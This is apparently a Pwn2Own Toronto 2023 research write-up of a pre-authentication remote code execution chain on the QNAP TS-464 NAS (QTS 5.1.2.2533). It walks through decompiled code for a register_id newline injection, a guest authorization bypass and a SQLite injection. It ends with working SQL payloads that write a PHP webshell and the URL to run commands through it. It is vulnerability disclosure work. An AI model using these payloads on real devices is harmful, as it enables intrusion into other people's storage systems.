[Pwn2Own Toronto 2023] SOHO Smash-up Category , Pre-auth Remote Code Execution (QNAP)

tags: `research`, `pwn2own`

Impact

An unauthorized attacker can gain code execution on remote QNAP TS-464.

Affect Product

- QTS 5.1.2.2533 build 20230926

Target

QNAP TS-464

CREDIT DISCOVERY TO

YingMuo (@YingMuo), working with DEVCORE Internship Program

Prerequisite

There are no specific prerequisites.

Software Download Link

- https://www.qnap.com/en/download?model=ts-464&category=firmware

Root Cause Analysis

QNAP TS-464 QTS runs many services such as thttpd, smb, etc.

e found two vulnerability on cgi under web service. The first one is improper data validation on privWizard.cgi and the second one is sql injection in libqcloud.so.

They are enabled on QNAP TS-464(QTS 5.1.2.2533 build 20230926) by default.

Vulnerability 1 - Improper Data Validation

When a user sends a request to `/priv/privWizard.cgi`, it would call `qr_code_add_device()` [1] if the request parameters include `op=5` and `wiz_func=qr_code`:

```
int main()
{
    ...
  strcmp_res = strcmp(wiz_func, "qr_code");
  if ( !strcmp_res )
  {
    qr_code_handler(cgi_inputs);
    ...
    return 0;
  }
}

int qr_code_handler(void *a1)
{
  op_input = CGI_Find_Parameter(a1, "op");
  op = strtol(*(op_input + 8), 0LL, 10);
  ...
  switch ( op )
  {
    case 5:
      return qr_code_add_device(a1); // [1]
  }
}
```

`qr_code_add_device()` takes the parameters passed in by the user, such as register_id [1], and assigns them as struct member [2]. Then the struct is passed to `device_auth_add_device()` to register the device [3]. Note that `privWizard.cgi` does not check the `register_id` parameter, so we send a string with newline character ('\n'), and it will be inserted into device config:

```
int qr_code_add_device(__int64 a1)
{
  v8 = CGI_Find_Parameter(a1, "register_id"); // [1]
  register_id = v8 ? *(v8 + 8) : 0LL;
  ...
  if ( register_id )
    register_id_1 = register_id;
  snprintf(device.register_id, 0x100uLL, "%s", register_id_1); // [2]
  ...
  device_auth_add_device(&device); // [3]
  ...
}
```

By default, the configuration file of the device has an empty `pair_id` field. However, because of `improper data validation` of `register_id`, we can set `pair_id` to arbitrary value.

Vulnerability 2 - SQL Injection

When a user sends a request to `/authLogin.cgi`, it would call `approve_auth()` [1] if the request parameters include `op=1` and `func=approve`:

```
int main()
{
  ...
  func_input = CGI_Find_Parameter(Input, "func");
  func_str = *(const char **)(func_input + 8);
  if ( !strcmp(func, "approve") )
      sub_19970((__int64)Input, v3, v4, v5, v6, v22, v23, v7, v8);
  ...
}

int approve_op_handler(void *a1)
{
  op_input = CGI_Find_Parameter(a1, "op");
  op = strtol(*(const char **)(Parameter + 8), 0LL, 10);
  ...
  switch ( op )
  {
    case 1:
      return approve_auth(a1); // [1]
  }
  ...
}
```

User login settings such as `passwordless_en`, `passwordless_approve_en`, etc. are disabled by default, but we can use `set_login_setting()` in `/priv/privWiard.cgi` to enable them:

```
int set_login_setting(void *cgi_inputs)
{
  ...
  device_auth_init_user(&user);
  ...
  passwordless_en = strtol(CGI_Find_Parameter(cgi_inputs, "passwordless_en")-
>value, 0, 10);
  user.passwordless_en = passwordless_en;
  ...
  passwordless_approve_en = strtol(CGI_Find_Parameter(cgi_inputs,
"passwordless_approve_en")->value, 0, 10);
  user.passwordless_approve_en = passwordless_approve_en;
  ...
  device_auth_set_user_config(&user);
  ...
}
```

`approve_auth()` would use the "user" parameter passed by the request as the username [1], and then it calls `device_auth_get_user_config()` to get information corresponding user [2]. If the user turns on the feature `passwordless_en` and `passwordless_approve_en` [3], the function would create a session object for the user [4] and call `device_auth_push_notify_send()` to notify remote server [5]:

```
int approve_auth(void *a1)
{
  ...
  user_input = CGI_Find_Parameter(a1, "user");
  snprintf(username, 0x21uLL, "%s", *(user_input + 8)); // [1]
  ...
  snprintf(user.username, 0x100uLL, "%s", username);
  device_auth_get_user_config(&user); // [2]
  ...
  if ( user.passwordless_en && user.passwordless_approve_en ) // [3]
  {
    snprintf(session.user, 0x100uLL, "%s", username);
    if ( !device_auth_add_session(&session) ) // [4]
    {
      device_auth_push_notify_send(0LL, &session); // [5]
      ...
    }
  }
  ...
}
```

`device_auth_push_notify_send()` iterates devices of the user and sends device information to remote server via `qcloud_push_notification_tool` [1]. Note that the `pair_id` of device would be passed as parameter `-a`:

```
int device_auth_push_notify_send(void *a1, void *session)
{
  if ( a1 )
    device_iter = a1;
  else
    device_auth_get_device_list(session->user, (char **)&device_iter);
  ...
  do {
    qnap_exec(templatea, 0LL, 0LL,
"/usr/local/bin/qcloud_push_notification_tool",
              "send", "-a", device_iter->pair_id, ...); // [1]
  } while (device_iter = device_iter->next);
  ...
}
```

If first parameter is "send", `qcloud_push_notification_tool` would call function `send_handler()` [1]. When `send_handler()` parses parameter `-a`, it splits the string by character ',', and saves result to the member `pair_ids[]` of notification object `notification_obj` [2]. Afterward, it passes `notification_obj` as parameter when calling `qcloud_generic_send_push_notification_ex()` [3]:

```
int main(int argc, const char **argv)
{
  ...
  if ( strcmp(argv[1], "send") == 0)
    return send_handler(argc, argv); // [1]
  ...
}

int send_handler(int argc, const char **argv)
{
  c = 0;
  notification_obj = calloc(1uLL, 0x5620uLL);
  ret = calloc(1uLL, 0xC808uLL);
  while (2)
  {
    v5 = getopt_long(v2, (a2 + 8), "hca:k:p:q:s:t:d:i:m:u:", ...);
    switch ( v5 ) {
    case 'a':
      ptr = __strdup(optarg);
      for ( i = strtok(ptr, ","); i; i = strtok(0LL, ",") ) {
        idx = notification_obj->pair_id_cnt++;
        strncpy(notification_obj->pair_ids[idx], i, 0x40uLL); // [2]
      }
    }
    ...
  }
  ...
  v36 = qcloud_generic_send_push_notification_ex(notification_obj, ret, 0LL,
c); // [3]
  ...
}
```

In `qcloud_generic_send_push_notification_ex()`, the `notification_obj->pair_ids[]` would be iterated [1]. Each of `notification_obj->pair_ids[]` is checked if exists in the database via `dao_search_string()` [2]. If first parameter is 0, `dao_search_string()` can be viewed as a wrapper function of `db_client_search_string()` [3]

```
int qcloud_generic_send_push_notification_ex(notification_t *notification_obj,
...)
{
  strcpy(query.name, "pair_id");
  ...
  idx = 0;
  while ( 1 )
  {
    ...
    pair_id = notification_obj->pair_ids[idx]; // [1]
    strcpy(query.value, pair_id);
    dao_search_string(0LL, "/tmp/.push_notification/fail_device.db", "device",
&query, result, 1LL); // [2]
    ...
    if ( idx++ >= notification_obj->pair_id_cnt)
      break;
  }
  ...
}

int dao_search_string(int a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5,
unsigned int a6)
{
  ...
  if ( !a1 )
    return db_client_search_string(a2, a3, a4, a5, a6, 0LL); // [3]
  ...
  return 0LL;
}
```

At beginning, `db_client_search_string()` constructs a SQL statement by parameter `query` to check if corresponding value exists in the database [1]. Then, the SQL statement is inserted to a template SQL statement [2]. Finally, it calls sqlite3 library API `sqlite3_exec()` to execute SQL statement [3]. However, during the construction of the SQL statement, the function does not check the query string. As a result, we can trigger SQL injection by setting `pair_id` to malicious payload, such as single quote character.

```
void db_client_search_string(
        char* db_path,
        const char *table,
        query_t *query,
        int ret,
        int num,
        unsigned int a6)
{
  ...
  sz = 1155LL * (num + 1);
  sql_statement = (char *)calloc(2uLL, sz);
  statement = (char *)calloc(2uLL, sz);
  ...
  v13 = sqlite3_open(db_path, &ctx);
  ...
  do
  {
    sprintf(sql_statement, "%s == '%s'", query.name, query.value); // [1]
    ++v11;
    v14 += 1155;
  }
  while ( v11 != a5 );
  sprintf(statement, "SELECT %s FROM %s WHERE %s;", "*", table, sql_statement);
// [2]
  v17 = sqlite3_exec(ctx, statement, sub_18880, ret, v26); // [3]
}
```

Exploitation

Trigger Improper Data Validation

Because we want to trigger the vulnerability, we need to enable user settings `passwordless_en` and `passwordless_approve_en`. Before enabling those settings, we need to use `get_write_permission()` in `/priv/privWizard.cgi` to get a grant first [1]. The authorization checking function `Check_NAS_User_Password()` inside `get_write_permission()` [2] and `start_2sv()` [3] can be passed by settings user to `guest` with arbitrary password:

```
int main()
{
  ...
  strcmp_res = strcmp(wiz_func, "get_write_permission");
  if ( !strcmp_res )
  {
    if ( !start_2sv(cgi_Input) )
      get_write_permission(cgi_Input);
    ...
  }
}

int get_write_permission(void *cgi_Input)
{
  device_auth_init_grant(grant);
  b64_Decode_Ex(pwd_dec, 514LL, pwd);
  if ( !Check_NAS_User_Password(&g_auth->user, pwd_dec) ) // [2]
  {
    device_auth_add_grant(grant, 256LL); // [1]
    ...
  }
  return 0;
}

int start_2sv(void *cgi_Input)
{
  b64_Decode_Ex(pwd_dec, 514LL, pwd);
  if ( !Check_NAS_User_Password(user, pwd_dec) ) // [3]
  {
    snprintf(&g_auth->user, 0x101uLL, "%s", user);
    return 0;
  }
  return -1;
}
```

Then we can enable `passwordless_en` and `passwordless_approve_en` settings of user `guest` by calling `set_login_setting()` in `/priv/privWiard.cgi` as mentioned above.

By utilizing `/priv/privWizard.cgi`, we call qrcode op 2 handler to add binding of `guest`, and call qrcode op 5 handler to register device of `guest`. Next, we trigger `Improper Data Validation` vulnerability to insert `pair_id` into device config.

From Improper Data Validation to SQL Injection

Bacause we have enabled `passwordless_en` and `passwordless_approve_en` of `guest` settings, we can add `guest` session via `approve_auth()` in `authLogin.cgi`, and it will call `device_auth_push_notify_send()` to trigger SQL Injection.

From SQL Injection to RCE

The simplest way to turn SQLite SQL injection into RCE is write a webshell through ATTACH DATABASE, but it's a 64 bytes limited SQL injection, and every time it runs a SQL, `qcloud_push_notification_tool` recreates the SQLite connection, so we need to find a shorter path to write our webshell.

By looking around the environment, we can found that current working directory is `/home/httpd/cgi-bin`, and by reading `/etc/default_config/apache-sys-no-proxy.conf`, we discovered a promising short path `qpkg` that will be ProxyPassed to `php-fpm`

```
ProxyPass /php.mod_fastcgi/cgi-bin/qpkg !
```

So now the goal is simple, use SQLite SQL injection to write our webshell to `qpkg/a.php`, and make sure the length of our SQL injection payload is under 64 bytes.

SQL injection payload 1: (52 bytes)

```
';ATTACH'qpkg/a.php'as x;CREATE TABLE x.y(z text);--
```

This will attach to database `qpkg/a.php` (which will create a empty `/home/httpd/cgi-bin/qpkg/a.php`), and create a table `x.y` for later insertion.

SQL injection payload 2: (64 bytes)

```
';ATTACH'qpkg/a.php'as x;insert into x.y select'<?=`$_GET[c]`;?>
```

This will then be formated into:

```
SELECT * FROM devices WHERE pair_id='';ATTACH'qpkg/a.php'as x;insert into x.y
select'<?=`$_GET[c]`;?>';
```

Then write `<?=`$_GET[c]`;?>` into `/home/httpd/cgi-bin/qpkg/a.php`.

By leveraging the behavior where `qcloud_push_notification_tool` queries each `pair_id` individually, separated by `,`, we can combine these two SQLi payload into a single `pair_id`.

```
pairid=';ATTACH'qpkg/a.php'as x;CREATE TABLE x.y(z text);--
,';ATTACH'qpkg/a.php'as x;insert into x.y select'<?=`$_GET[c]`;?>
```

Finally, trigger the SQL injection, and access the webshell at `/cgi-bin/qpkg/a.php?c=<command>`